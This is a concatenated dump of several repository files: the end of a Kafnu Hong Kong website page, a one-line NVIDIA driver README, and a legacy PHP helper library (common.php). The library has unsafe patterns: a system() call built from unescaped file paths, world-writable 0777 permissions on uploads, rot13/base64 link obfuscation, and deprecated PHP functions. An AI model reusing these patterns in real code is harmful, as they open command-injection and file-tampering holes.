Lui</span></li> <li><span>Ben Ng</span></li> </ul> </div> <!-- page-country-main-content-item-text --> <div class="page-country-main-content-item-cta-container"> <a href="community.html" class="square-cta border-white-version">了解更多</a> </div> </div> </div> <!-- row --> </div> <!-- page-country-extra-content-item --> </div> </article> <article id="page-default-connect-with-world-section" class="country-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <h4 data-wow-offset="50" class="">與 Kafnu 香港一起聯繫世界</h4> <!-- <ul class="social-media-links-container"> <li data-wow-offset="150" class=""><a href="#"><i class="fa fa-instagram" aria-hidden="true"></i></a></li> <li data-wow-offset="250" class=""><a href="#"><i class="fa fa-facebook" aria-hidden="true"></i></a></li> </ul> --> </div> </div> </div> </article> <article id="page-default-social-media-masonry-section"> <div class="container-fluid reduce-padding"> <div class="row"> <div class="col-md-12 no-padding"> <div id="default-masonry-grid-container" class="hidden-xs hidden-sm"> <div class="grid"> <div class="grid-sizer"></div> <div data-wow-offset="80" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="85" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="90" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-04.jpg" alt=""> </div> </a> </div> <div data-wow-offset="95" class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="60" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="75" class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="100" class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="105" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-05.jpg" alt=""> </div> </a> </div> <div data-wow-offset="65" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="120" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-04.jpg" alt=""> </div> </a> </div> <div data-wow-offset="140" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-06.jpg" alt=""> </div> </a> </div> <div data-wow-offset="145" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-06.jpg" alt=""> </div> </a> </div> </div> <!-- grid --> </div> <!-- default-masonry-grid-container --> <div id="default-grid-container-mobile" class="visible-xs visible-sm"> <div class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container video-version"> <img src="" data-image-desktop="images_cms/home/fb-video-thumb-01.jpg" data-image-tablet="images_cms/home/fb-video-thumb-01.jpg" data-image-mobile="images_cms/home/fb-video-thumb-01.jpg" alt=""> </div> </a> </div> <div class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook color-version"> <div class="grid-item-text-container"> <h5>Bill - Company of Dreamers</h5> <p>Bill Black, ex-hotelier and Director at Next Story Group...</p> </div> </a> </div> <div class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-02.jpg" data-image-tablet="images_cms/home/in-image-thumb-02.jpg" data-image-mobile="images_cms/home/in-image-thumb-02.jpg" alt=""> </div> </a> </div> <div class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-03.jpg" data-image-tablet="images_cms/home/in-image-thumb-03.jpg" data-image-mobile="images_cms/home/in-image-thumb-03.jpg" alt=""> </div> </a> </div> </div> </div> </div> <!-- row --> </div> </article> <!-- page-home-social-media-masonry-section --> </div> <!-- #page-wrapper-content --> </div> <!-- #page-wrapper --> <?php include "includes/footer_desktop.php"; ?> <?php include "includes/footer_mobile.php"; ?> <?php include "includes/script_country.php" ?> </body> </html> <?php // saving captured output to file file_put_contents('kafnuhk.html', ob_get_contents()); // end buffering and displaying page ob_end_flush(); ?>```
zaxebo1/nvidia-driver
zaxebo1/nvidia-driver README.md ```# nvidia-driver Driver for NVidia GPUs ```
zaxs002/00
zaxs002/00 common.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: common.php,v 0.1.9 13/02/2003 22:36:15 kv9 Exp $ common funcs */ /** * common funcs * * @library Common * @author OXYLUS [OXYLUS <devel@oxylus.ro>] * @since PHPbase 0.0.1 */ /** * description returns an array with filename base name and the extension * * @param filemane format * * @return array * * @access public */ function FileExt($filename) { //checking if the file have an extension if (!strstr($filename, ".")) return array("0"=>$filename,"1"=>""); //peoceed to normal detection $filename = strrev($filename); $extpos = strpos($filename , "."); $file = strrev(substr($filename , $extpos + 1)); $ext = strrev(substr($filename , 0 , $extpos)); return array("0"=>$file,"1"=>$ext); } /** * description * * @param * * @return * * @access */ function UploadFile($source, $destination , $name ="") { $name = $name ? $name : basename($source); $name = FileExt($name); $name[2]= $name[0]; $counter = 0 ; while (file_exists( $destination . $name[0] . "." . $name[1] )) { $name[0] = $name[2] . $counter; $counter ++; } copy($source , $destination . $name[0] . "." . $name[1] ); @chmod($destination . $name[0] . "." . $name[1] , 0777); } function UploadFileFromWeb($source, $destination , $name) { $name = FileExt($name); $name[2]= $name[0]; $counter = 0 ; while (file_exists( $destination . $name[0] . "." . $name[1] )) { $name[0] = $name[2] . $counter; $counter ++; } SaveFileContents($destination . $name[0] . "." . $name[1] , $source); @chmod($destination . $name[0] . "." . $name[1] , 0777); } /** * returns the contents of a file in a string * * @param string $file_name name of file to be loaded * * @return string * * @acces public */ function GetFileContents($file_name) { //i dont know whats happenind //Warning: fopen() [function.fopen]: Filename cannot be empty in /hosting/www/oxylus/oxylusflash.com/admin/lib/common.php on line 104 if (!file_exists($file_name)) { return null; } if ($_SERVER["REMOTE_ADDR"] == "79.112.1.18") { // echo "<br>:" . $file_name; } //echo "<br>:" . $file_name; $file = fopen($file_name,"r"); //checking if the file was succesfuly opened if (!$file) return null; if (strstr($file_name,"://")) while (!feof($file)) $result .= fread($file,1024); else $result = @fread($file,filesize($file_name)); fclose($file); return $result; } /** * description * * @param * * @return * * @access */ function SaveFileContents($file_name,$content) { // echo $file_name; $file = fopen($file_name,"w"); fwrite($file,$content); fclose($file); } /** * description * * @param * * @return * * @access */ /*function Debug($what,$pre = 1,$die = 0) { if (PB_DEBUG_EXT == 1) { if ($pre == 1) echo "<pre style=\"background-color:white;\">"; print_r($what); if ($pre == 1) echo "</pre>"; if ($die == 1) die; } } */ /** * description * * @param * * @return * * @access */ /*function SendMail($to,$from,$subject,$message,$to_name,$from_name) { if ($to_name) $to = "$to_name <$to>"; $headers = "MIME-Version: 1.0\n"; $headers .= "Content-type: text; charset=iso-8859-1\n"; if ($from_name) { $headers .= "From: $from_name <$from>\n"; $headers .= "Reply-To: $from_name <$from>\n"; } else { $headers .= "From: $from\n"; $headers .= "Reply-To: $from\n"; } $headers .= "X-Mailer: PHP/" . phpversion(); return mail($to, $subject, $message,$headers); } /** * description * * @param * * @return * * @access */ function FillVars($var,$fields,$with) { $fields = explode (",",$fields); foreach ($fields as $field) if (!$var[$field]) !$var[$field] = $with; return $var; } /** * description * * @param * * @return * * @access */ function CleanupString($string,$strip_tags = TRUE) { $string = addslashes(trim($string)); if ($strip_tags) $string = strip_tags($string); return $string; } define("RX_EMAIL","^[a-z0-9]+([_\\.-][a-z0-9]+)*@([a-z0-9]+([\.-][a-z0-9]+)*)+\\.[a-z]{2,}$"); define("RX_CHARS","[a-z\ ]"); define("RX_DIGITS","[a-z0-9]"); define("RX_ALPHA","[^a-z0-9_]"); define("RX_ZIP","[0-9\-]"); define("RX_PHONE","[0-9\-\+\(\)]"); /** * description * * @param * * @return * * @access */ function CheckString($string,$min,$max,$regexp = "",$rx_result = FALSE) { if (get_magic_quotes_gpc() == 0) $string = CleanupString($string); if ($regexp == RX_DIGITS) $string == intval($string); if ( ( (int)$min == $min ) && ((int)$max == $max) ) { if (strlen($string) < $min) return 1; else if (($max != 0) && (strlen($string) > $max)) return 2; } if ($regexp != "") { switch ($regexp) { case RX_CREDIT: $result = CreditCard::Valid($min, $string); return $result ? 0 : 1; break; case RX_DATE: $end = CSYS::Str2Date($max); $start = CSYS::Str2Date($min); if (($string >= $start) && ($string <= $end)) return 0; else return 1; break; case RX_DIGITS: return ($string == intval($string)) && (intval($string)!=0) ? 0 : 3; break; case RX_EMAIL: $strict = true; $regex = $strict ? '/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,4})$/i' : '/^([*+!.&#$|\'\\%\/0-9a-z^_`{}=?~:-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,4})$/i'; if (preg_match($regex, trim($string), $matches)) // return array($matches[1], $matches[2]); return 0; //echo "2";//array($matches[1], $matches[2]); else return 1;//echo "3"; // die (""); break; default: if ($rx_result == eregi($regexp,$string)) return 3; break; } } return 0; } /** * description * * @param * * @return * * @access */// FIRST_NAME:S:3:60,LAST_NAME:S... function ValidateVars($source,$vars) { $vars = explode(",",$vars); foreach ($vars as $var) { list($name,$type,$min,$max) = explode(":",$var); switch ($type) { case "CC": $type = RX_CREDIT; break; case "D": $type = RX_DATE; break; case "S": $type = RX_CHARS; $rx_result = FALSE; break; case "I": $type = RX_DIGITS; $rx_result = false; break; case "E": $type = RX_EMAIL; $rx_result = FALSE; break; case "P": $type = RX_PHONE; $rx_result = TRUE; break; case "Z": $type = RX_ZIP; $rx_result = FALSE; break; case "A": $type = ""; break; case "F": //experimental crap $type = RX_ALPHA; $rx_result = TRUE; //$source[strtolower($name)] = str_replace(" ", "" , $source[strtolower($name)] ); break; } //var_dump($result); if (($result = CheckString($source[strtolower($name)],$min,$max,$type,$rx_result)) != 0) $errors[] = $name; } return is_array($errors) ? $errors : 0; } /** * description * * @param * * @return * * @access */ function ResizeImage($source,$destination,$size) { if (PB_IMAGE_MAGICK == 1) system( PB_IMAGE_MAGICK_PATH . "convert $source -resize {$size}x{$size} $destination"); else copy($source,$destination); } /** * uses microtime() to return the current unix time w/ microseconds * * @return float the current unix time in the form of seconds.microseconds * * @access public */ function GetMicroTime() { list($usec,$sec) = explode(" ",microtime()); return (float) $usec + (float) $sec; } /** * description * * @param * * @return * * @access */ function GetArrayPart($input,$from,$count) { $return = array(); $max = count($input); for ($i = $from; $i < $from + $count; $i++ ) if ($i<$max) $return[] = $input[$i]; return $return; } /** * description * * @param * * @return * * @access */ function ReplaceAllImagesPath($htmldata,$image_path) { $htmldata = stripslashes($htmldata); // replacing shit IE formating style $htmldata = str_replace("<IMG","<img",$htmldata); // esmth, i dont know why i'm doing preg_match_all("'<img.*?>'si",$htmldata,$images); //<?//fucking edit plus foreach ($images[0] as $image) $htmldata = str_replace($image,ReplaceImagePath($image,$image_path),$htmldata); return $htmldata;//implode("\n",$html_out); } /** * description * * @param * * @return * * @access */ function ReplaceImagePath($image,$replace) { // removing tags $image = stripslashes($image); $image = str_replace("<","",$image); $image = str_replace(">","",$image); // exploging image in proprietes $image_arr = explode(" ",$image); for ($i = 0;$i < count($image_arr) ;$i++ ) { if (stristr($image_arr[$i],"src")) { // lets fuck it :] $image_arr[$i] = explode("=",$image_arr[$i]); // modifing the image path // fuck i hate doing this // replacing '," $image_arr[$i][1] = str_replace("'","",$image_arr[$i][1]); $image_arr[$i][1] = str_replace("\"","",$image_arr[$i][1]); //getting only image name $image_arr[$i][1] = strrev(substr(strrev($image_arr[$i][1]),0,strpos(strrev($image_arr[$i][1]),"/"))); // building the image back $image_arr[$i][1] = "\"" . $replace . $image_arr[$i][1] . "\""; $image_arr[$i] = implode ("=",$image_arr[$i]); } } // adding tags return "<" . implode(" ",$image_arr) . ">"; } /** * description * * @param * * @return * * @access */ function DowloadAllImages($images,$path) { foreach ($images as $image) @SaveFileContents($path ."/".ExtractFileNameFromPath($image),@implode("",@file($image))); } function GetAllImagesPath($htmldata) { $htmldata = stripslashes($htmldata); // replacing shit IE formating style $htmldata = str_replace("<IMG","<img",$htmldata); // esmth, i dont know why i'm doing preg_match_all("'<img.*?>'si",$htmldata,$images); //<?//fucking edit plus foreach ($images[0] as $image) $images_path[] = GetImageName($image); return $images_path; } /** * description * * @param * * @return * * @access */ function GetImagePath($image) { // removing tags $image = stripslashes($image); $image = str_replace("<","",$image); $image = str_replace(">","",$image); // exploging image in proprietes $image_arr = explode(" ",$image); for ($i = 0;$i < count($image_arr) ;$i++ ) { if (stristr($image_arr[$i],"src")) { // lets fuck it :] $image_arr[$i] = explode("=",$image_arr[$i]); // modifing the image path // fuck i hate doing this // replacing '," $image_arr[$i][1] = str_replace("'","",$image_arr[$i][1]); $image_arr[$i][1] = str_replace("\"","",$image_arr[$i][1]); return strrev(substr(strrev($image_arr[$i][1]),0,strpos(strrev($image_arr[$i][1]),"/")));; } } // adding tags return ""; } /** * description * * @param * * @return * * @access */ function GetImageName($image) { // removing tags $image = stripslashes($image); $image = str_replace("<","",$image); $image = str_replace(">","",$image); // exploging image in proprietes $image_arr = explode(" ",$image); for ($i = 0;$i < count($image_arr) ;$i++ ) { if (stristr($image_arr[$i],"src")) { // lets fuck it :] $image_arr[$i] = explode("=",$image_arr[$i]); // modifing the image path // fuck i hate doing this // replacing '," $image_arr[$i][1] = str_replace("'","",$image_arr[$i][1]); $image_arr[$i][1] = str_replace("\"","",$image_arr[$i][1]); return $image_arr[$i][1]; } } // adding tags return ""; } /** * reinventing the wheel [badly] * * @param somthin * * @return erroneous * * @access denied */ function ExtractFileNameFromPath($file) { //return strrev(substr(strrev($file),0,strpos(strrev($file),"/"))); // sau ai putea face asha. umpic mai smart ca mai sus dar tot stupid // daca le dai path fara slashes i.e. un filename prima returneaza "" asta taie primu char //return substr($file,strrpos($file,"/") + 1,strlen($file) - strrpos($file,"/")); // corect ar fi cred asha [observa smart usage`u de strRpos] //return substr($file,strrpos($file,"/") + (strstr($file,"/") ? 1 : 0),strlen($file) - strrpos($file,"/")); // sau putem folosi tactica `nute mai caca pe tine and rtfm' shi facem asha return basename($file); // har har :]] } /** * description * * @param * * @return * * @access */ function RemoveArraySlashes($array) { if ($array) foreach ($array as $key => $item) if (is_array($item)) $array[$key] = RemoveArraySlashes($item); else $array[$key] = stripslashes($item); return $array; } function AddArraySlashes($array) { if ($array) foreach ($array as $key => $item) if (is_array($item)) $array[$key] = AddArraySlashes($item); else $array[$key] = addslashes($item); return $array; } /** * description * * @param * * @return * * @access */ function Ahtmlentities($array) { if (is_array($array)) foreach ($array as $key => $item) if (is_array($item)) $array[$key] = ahtmlentities($item); else $array[$key] = htmlentities(stripslashes($item),ENT_COMPAT); else return htmlentities(stripslashes($array),ENT_COMPAT); return $array; } function AStripSlasshes($array) { if (is_array($array)) foreach ($array as $key => $item) if (is_array($item)) $array[$key] = AStripSlasshes($item); else $array[$key] = stripslashes($item); else return stripslashes($array); return $array; } /** * description * * @param * * @return * * @access */ function Ahtml_entity_decode($array) { if ($array) foreach ($array as $key => $item) if (is_array($item)) $array[$key] = ahtml_entity_decode($item); else $array[$key] = html_entity_decode($item,ENT_COMPAT); return $array; } function array2xml ($name, $value, $indent = 1) { $indentstring = "\t"; for ($i = 0; $i < $indent; $i++) { $indentstring .= $indentstring; } if (!is_array($value)) { $xml = $indentstring.'<'.$name.'>'.$value.'</'.$name.'>'."\n"; } else { if($indent === 1) { $isindex = False; } else { $isindex = True; while (list ($idxkey, $idxval) = each ($value)) { if ($idxkey !== (int)$idxkey) { $isindex = False; } } } reset($value); while (list ($key, $val) = each ($value)) { if($indent === 1) { $keyname = $name; $nextkey = $key; } elseif($isindex) { $keyname = $name; $nextkey = $name; } else { $keyname = $key; $nextkey = $key; } if (is_array($val)) { $xml .= $indentstring.'<'.$keyname.'>'."\n"; $xml .= array2xml ($nextkey, $val, $indent+1); $xml .= $indentstring.'</'.$keyname.'>'."\n"; } else { $xml .= array2xml ($nextkey, $val, $indent); } } } return $xml; } function GetPhpContent($file) { if (file_exists($file) ) { $data = GetFileContents($file); //replacing special chars in content $data = str_replace("<?php","",$data); $data = str_replace("?>","",$data); return $data; } } /** * description * * @param * * @return * * @access */ function KeyArray($array,$recurse = 0 , $count = 1) { if (is_array($array)) { foreach ($array as $key => $val) { $array[$key]["key"] = $count ++; if ($recurse) { foreach ($array[$key] as $k => $val) if (is_array($val)) { KeyArray($array[$key][$k] , $recurse , &$count); } } } } return $count + 1; } function RandomWord( $passwordLength ) { /* $password = ""; for ($index = 1; $index <= $passwordLength; $index++) { // Pick random number between 1 and 62 $randomNumber = rand(1, 62); // Select random character based on mapping. if ($randomNumber < 11) $password .= Chr($randomNumber + 48 - 1); // [ 1,10] => [0,9] else if ($randomNumber < 37) $password .= Chr($randomNumber + 65 - 10); // [11,36] => [A,Z] else $password .= Chr($randomNumber + 97 - 36); // [37,62] => [a,z] } return $password; */ $pw = ''; //intialize to be blank $len = $passwordLength; for($i=0;$i<$len;$i++) { switch(rand(1,3)) { case 1: $pw.=chr(rand(48,57)); break; //0-9 case 2: $pw.=chr(rand(65,90)); break; //A-Z case 3: $pw.=chr(rand(97,122)); break; //a-z } } return $pw; } function DeleteFolder($file) { if (file_exists($file)) { chmod($file,0777); if (is_dir($file)) { $handle = opendir($file); while($filename = readdir($handle)) { if ($filename != "." && $filename != "..") { DeleteFolder($file."/".$filename); } } closedir($handle); rmdir($file); } else { unlink($file); } } } function GenerateRecordID($array) { $max = 0; if (is_array($array)) { foreach ($array as $key => $val) $max = ($key > $max ? $key : $max); return $max + 1; } else return 1; } /***************************************************** Links cripting for admin DO NOT TOUCH UNLKESS YOU KNOW WHAT YOU ARE DOING *****************************************************/ /** * description * * @param * * @return * * @access */ function CryptLink($link) { if (defined("PB_CRYPT_LINKS") && (PB_CRYPT_LINKS == 1)) { if (stristr($link,"javascript:")) { /* if (stristr($link,"window.location=")) { $pos = strpos($link , "window.location="); $js = substr($link , 0 , $pos + 17 ); $final = substr($link , $pos + 17 ); $final = substr($final, 0, strlen($final) - 1 ); //well done ... crypt the link now $url = @explode("?" , $final); if (!is_array($url)) $url[0] = $final; $tmp = str_replace( $url[0] . "?" , "" , $final); $uri = urlencode(urlencode(base64_encode(str_rot13($tmp)))); $link = $js . $url[0] . "?" . $uri . md5($uri) . "'"; } */ } else { $url = @explode("?" , $link); if (!is_array($url)) $url[0] = $link; $tmp = str_replace( $url[0] . "?" , "" , $link); $uri = urlencode(urlencode(base64_encode(str_rot13($tmp)))); $link = $url[0] . "?" . $uri . md5($uri); } } return $link; } /************************************************************************/ /* SOME PREINITIALISATION CRAP*/ if (defined("PB_CRYPT_LINKS") && (PB_CRYPT_LINKS == 1) ) { $key = key($_GET); if (is_array($_GET) && (count($_GET) == 1) && ($_GET[$key] == "")) { $tmp = $_SERVER["QUERY_STRING"]; //do the md5 check $md5 = substr($tmp , -32); $tmp = substr($tmp , 0 , strlen($tmp) - 32); if ($md5 != md5($tmp)) { //header("index.php?action=badrequest"); //exit; die("Please dont change the links!"); } $tmp = str_rot13(base64_decode(urldecode(urldecode($tmp)))); $tmp_array = @explode("&" , $tmp); $tmp_array = is_array($tmp_array) ? $tmp_array : array($tmp); if (is_array($tmp_array)) { foreach ($tmp_array as $key => $val) { $tmp2 = explode("=" , $val); $out[$tmp2[0]] = $tmp2[1]; } } else { $tmp2 = explode("=" , $tmp); $out[$tmp2[0]] = $tmp2[1]; } $_GET = $out; } } /***********************************************************************/ function ArrayReplace($what , $with , $array ) { if ($array) foreach ($array as $key => $item) { if (is_array($item)) $array[$key] = ArrayReplace($what , $with , $item); else $array[$key] = str_replace($what , $with , $item); //replace the key too if (strstr($key , $what)) { $array[str_replace($what, $with , $key)] = $array[$key]; unset($array[$key]); } } return $array; } function stri_replace( $find, $replace, $string ) { $parts = explode( strtolower($find), strtolower($string) ); $pos = 0; foreach( $parts as $key=>$part ){ $parts[ $key ] = substr($string, $pos, strlen($part)); $pos += strlen($part) + strlen($find); } return( join( $replace, $parts ) ); } /** * description * * @param * * @return * * @access */ function GMTDate($format , $date) { global $_GMT; return date($format , $date - $_GMT); } function putcsv ($array, $deliminator=",") { $line = ""; foreach($array as $val) { # remove any windows new lines, # as they interfere with the parsing at the other end $val = str_replace("\r\n", "\n", $val); # if a deliminator char, a double quote char or a newline # are in the field, add quotes if(ereg("[$deliminator\"\n\r]", $val)) { $val = '"'.str_replace('"', '""', $val).'"'; }#end if $line .= $val.$deliminator; }#end foreach # strip the last deliminator $line = substr($line, 0, (strlen($deliminator) * -1)); # add the newline $line .= "\n"; # we don't care if the file pointer is invalid, # let fputs take care of it return $line; }#end fputcsv() if (!function_exists("fputcsv")) { function fputcsv ($fp, $array, $deliminator=",") { return fputs($fp, putcsv($array,$delimitator)); }#end fputcsv() } /** * description Check if the $_GET[sub] and $_GET[action] matches with the params * * @param 1. two or multiple string arguments , first is the sub, the rest are the actions * @param 2. array and multiple string arguments, first the array with the subs, the rest the actions * @param 3. two arrays , firs the array with the subs the second the array with the actions * * @return boolean * * @access public */ function is_subaction() { $params = func_get_args(); //check to see the numbers of the arguments if (func_num_args() == 2) { //force the sub to be array if (!is_array($params[0])) $sub = array($params[0]); else $sub = $params[0]; //force the action to be array if (!is_array($params[1])) $action = array($params[1]); else $action = $params[1]; //do a array search return (bool) in_array($_GET["sub"] , $sub) && in_array($_GET["action"] , $action);; } if (func_num_args() > 2) { //one sub and multiple actions $sub = $params[0]; //force the sub to be array if (!is_array($sub)) $sub = array("0" => $sub); //remove the sub from the params list unset($params[0]); return (bool) in_array($_GET["sub"] , $sub ) && in_array($_GET["action"] , $params); } } function striphtmltags ( $text ) { $search = array ("'<script[^>]*?>.*?</script>'si", // Strip out javascript "'<[\/\!]*?[^<>]*?>'si" // Strip out html tags ); // evaluate as php $replace = array ("", "" ); return preg_replace ($search, $replace, $text); } /** * description * * @param * * @return * * @access */ function ArrayValueByKey($array, $key) { return $array[$key]; } function FormatSize($file) { // First check if the file exists. if(is_file($file)) { $size = filesize($file); } else $size = $file; // Setup some common file size measurements. $kb = 1024; // Kilobyte $mb = 1024 * $kb; // Megabyte $gb = 1024 * $mb; // Gigabyte $tb = 1024 * $gb; // Terabyte // Get the file size in bytes. /* If it's less than a kb we just return the size, otherwise we keep going until the size is in the appropriate measurement range. */ if($size < $kb) { return $size." B"; } else if($size < $mb) { return round($size/$kb,2)." KB"; } else if($size < $gb) { return round($size/$mb,2)." MB"; } else if($size < $tb) { return round($size/$gb,2)." GB"; } else { return round($size/$tb,2)." TB"; } } /** * description * * @param * * @return * * @access */ function get_real_size($size=0) { /// Converts numbers like 10M into bytes if (!$size) { return 0; } $scan['MB'] = 1048576; $scan['Mb'] = 1048576; $scan['M'] = 1048576; $scan['m'] = 1048576; $scan['KB'] = 1024; $scan['Kb'] = 1024; $scan['K'] = 1024; $scan['k'] = 1024; while (list($key) = each($scan)) { if ((strlen($size)>strlen($key))&&(substr($size, strlen($size) - strlen($key))==$key)) { $size = substr($size, 0, strlen($size) - strlen($key)) * $scan[$key]; break; } } return $size; } // end function /** * description * * @param * * @return * * @access */ function URLRedirect($url , $type = "http") { $type = "http"; if ($type == "http") { header("Location: " . $url); exit; } else { die( "<pre>Redirecting...<br>" . "If your browser doesn’t refresh automatically within 10 seconds, please <a href='$url'>click here</a>." . "</pre>" . "<script> window.location='" . $url . "'; </script>" ); } } /** * description * * @param * * @return * * @access */ function URLAbsolutePage($page = "") { if ($page == "") $page = basename($_SERVER["SCRIPT_NAME"]); return (strtoupper($_SERVER["HTTPS"]) == "on" ? "https://" : "http://") . $_SERVER["SERVER_NAME"] . ($_SERVER["SERVER_PORT"] != 80 ? ':' . $_SERVER["SERVER_PORT"] : '') . dirname($_SERVER["SCRIPT_NAME"]) . "/" . $page; } /** * description * * @param * * @return * * @access */ function SendMail() { $params = AStripSlasshes(func_get_args()); //check to see the numbers of the arguments switch (func_num_args()) { case 1: $email = $params[0]; $vars = array(); break; case 2: $email = $params[0]; $vars = $params[1]; break; case 3: $to = $params[0]; $email = $params[1]; $vars = $params[2]; break; case 4: $to = $params[0]; $to_name = $params[1]; $email = $params[2]; $vars = $params[3]; break; } if ($email["email_status"] == 1) { return true; } $msg = new CTemplate(stripslashes($email["email_body"]) , "string"); $msg = $msg->Replace($vars); $sub = new CTemplate(stripslashes($email["email_subject"]) , "string"); $sub = $sub->Replace($vars); $email["email_from"] = new CTemplate(stripslashes($email["email_from"]) , "string"); $email["email_from"] = $email["email_from"]->Replace($vars); $email["email_from_name"] = new CTemplate(stripslashes($email["email_from_name"]) , "string"); $email["email_from_name"] = $email["email_from_name"]->Replace($vars); if (!$email["email_reply"]) $email["email_reply"] = $email["email_from"]; if (!$email["email_reply_name"]) $email["email_reply_name"] = $email["email_from_name"]; //prepare the headers $headers = "MIME-Version: 1.0\r\n"; if ($email["email_type"] == "html") $headers .= "Content-type: text/html\r\n"; else $headers .= "Content-type: text/plain\r\n"; //prepare the from fields if (!$email["email_hide_from"]) { $headers .= "From: {$email[email_from_name]}<{$email[email_from]}>\r\n"; $headers .= "Reply-To: {$email[email_reply_name]}<{$email[email_reply]}>\r\n"; } $headers .= $email["headers"]; /* debug(array( "subject" => $sub, "body" => $msg , "headers" => $headers )); */ if (!$email["email_hide_to"]) { // $headers .= "To: {$email[email_to_name]}<{$email[email_to]}>\r\n"; //echo $email["email_to"]; return mail($email["email_to"] , $sub, $msg,$headers); } else { // $headers .= "To: $to_name <$to>\r\n"; } $headers .= "X-Mailer: PHP/" . phpversion(); /* debug(array( "subject" => $sub, "body" => $msg , "headers" => $headers )); */ return mail($to, $sub, $msg,$headers); } /** * description * * @param * * @return * * @access */ function TemplateReplace($string , $array) { $tmp = new CTemplate($string , "string"); return $tmp->Replace($array); } /** * Function to find the day of a week in a year * @param integer $week The week number of the year * @param integer $year The year of the week we need to calculate on * @param string $start_of_week The start day of the week you want returned * Monday is the default Start Day of the Week in PHP. For * example you might want to get the date for the Sunday of wk 22 * @return integer The unix timestamp of the date is returned */ function find_first_day_ofweek($week, $year, $start_of_week='sunday'){ // Get the target week of the year with reference to the starting day of // the year $target_week = strtotime("$week week", strtotime("1 January $year")); // Get the date information for the day in question which // is "n" number of weeks from the start of the year $date_info = getdate($target_week); // Get the day of the week (integer value) $day_of_week = $date_info['wday']; // Make an adjustment for the start day of the week because in PHP the // start day of the week is Monday switch (strtolower($start_of_week)) { case 'sunday': $adjusted_date = $day_of_week; break; case 'monday': $adjusted_date = $day_of_week-1; break; case 'tuesday': $adjusted_date = $day_of_week-2; break; case 'wednesday': $adjusted_date = $day_of_week-3; break; case 'thursday': $adjusted_date = $day_of_week-4; break; case 'friday': $adjusted_date = $day_of_week-5; break; case 'saturday': $adjusted_date = $day_of_week-6; break; default: $adjusted_date = $day_of_week-1; break; } // Get the first day of the weekday requested $first_day = strtotime("-$adjusted_date day",$target_week); //return date('l dS of F Y h:i:s A', $first_day); return $first_day; } /** * description * * @param * * @return * * @access */ function explode_by_key($sep , $array) { $values = explode($sep,$array); if (is_array($values)) { foreach ($values as $key => $val) { $_values[trim($val)] = trim($val); } } return $_values; } /** * description * * @param * * @return * * @access */ function array_exists($value,$array) { if (is_array($array)) { foreach ($array as $key => $val) { if ($val == $value) return true; } } return false; } function microtime_float() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } function return_bytes($val) { $val = trim($val); $last = strtolower($val[strlen($val)-1]); switch($last) { // The 'G' modifier is available since PHP 5.1.0 case 'g': $val *= 1024; case 'm': $val *= 1024; case 'k': $val *= 1024; } return $val; } /* History Unreleased 27/08/05 - is_subaction supports multiple params 1. two or multiple string arguments , first is the sub, the rest are the actions 2. array and multiple string arguments, first the array with the subs, the rest the actions 3. two arrays , firs the array with the subs the second the array with the actions V0.0.1 13 February 2003 First version, as part of PHPBase Framework */ ?>``` loader.js ```var CalPath = ""; if (window.location.href.indexOf("admin/") == -1) { CalPath = "admin/3rdparty/calendar/"; } else CalPath = 